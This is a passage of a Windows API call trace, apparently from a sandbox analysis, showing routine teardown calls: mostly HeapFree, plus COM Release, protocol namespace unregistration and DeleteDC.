(in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7801d0 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b2230 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7b2258 | out: hHeap=0x750000) returned 1 [0033.487] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7baa40 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a1390 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a13b0 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a13c0 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a13d0 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7bae48 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x795858 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793468 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7944c8 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a9700 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793578 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x794880 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x762138 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac790 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78a958 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b968 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78b018 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x794b10 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x794cb0 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x794d80 | out: hHeap=0x750000) returned 1 [0033.488] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78f9a0 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x794a18 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x794600 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78a848 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x793e50 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a2b48 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78b298 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x795990 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78c730 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78af50 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78ae88 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x795600 | out: hHeap=0x750000) returned 1 [0033.489] IUnknown:Release (This=0x7a1800) returned 0x0 [0033.489] IUnknown:Release (This=0x7846cc) returned 0x0 [0033.489] IUnknown:Release (This=0x738896bc) returned 0x7fff [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76da70 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78caa0 | out: hHeap=0x750000) returned 1 [0033.489] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.490] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.491] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.492] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.493] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78d0d8 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78cfd8 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78c888 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7694a0 | out: hHeap=0x750000) returned 1 [0033.494] IUnknown:Release (This=0x783c60) returned 0x0 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7648a0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78a690 | out: hHeap=0x750000) returned 1 [0033.494] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x785270 | out: hHeap=0x750000) returned 1 [0033.495] GetModuleHandleW (lpModuleName="OLEAUT32") returned 0x769d0000 [0033.495] GetProcAddress (hModule=0x769d0000, lpProcName=0xc9) returned 0x769d4af8 [0033.495] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0033.495] IInternetSession:UnregisterNameSpace (This=0x77f8c8, pCF=0x73888c50, pszProtocol="res") returned 0x0 [0033.495] IUnknown:Release (This=0x73888c50) returned 0x1 [0033.495] IInternetSession:UnregisterNameSpace (This=0x77f8c8, pCF=0x73888c70, pszProtocol="about") returned 0x0 [0033.495] IUnknown:Release (This=0x73888c70) returned 0x1 [0033.495] IUnknown:Release (This=0x77f8c8) returned 0x1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7736d8 | out: hHeap=0x750000) returned 1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7918b0 | out: hHeap=0x750000) returned 1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x764338 | out: hHeap=0x750000) returned 1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b998 | out: hHeap=0x750000) returned 1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x791928 | out: hHeap=0x750000) returned 1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x76d1e0 | out: hHeap=0x750000) returned 1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x764888 | out: hHeap=0x750000) returned 1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78f840 | out: hHeap=0x750000) returned 1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x791828 | out: hHeap=0x750000) returned 1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7648b8 | out: hHeap=0x750000) returned 1 [0033.495] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b5d8 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78f4e0 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x764858 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7874c8 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b938 | out: hHeap=0x750000) returned 1 [0033.496] IUnknown:Release (This=0x787580) returned 0x0 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x783728 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77b7d0 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7837f0 | out: hHeap=0x750000) returned 1 [0033.496] DeleteDC (hdc=0x61010818) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77f218 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77f6e8 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x769270 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77f2f0 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x77f288 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7692c0 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x799be8 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x769220 | out: hHeap=0x750000) returned 1 [0033.496] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x769310 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a1730 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x769360 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x769400 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x769450 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0033.497] HeapFree (in: hHeap=0x750000, 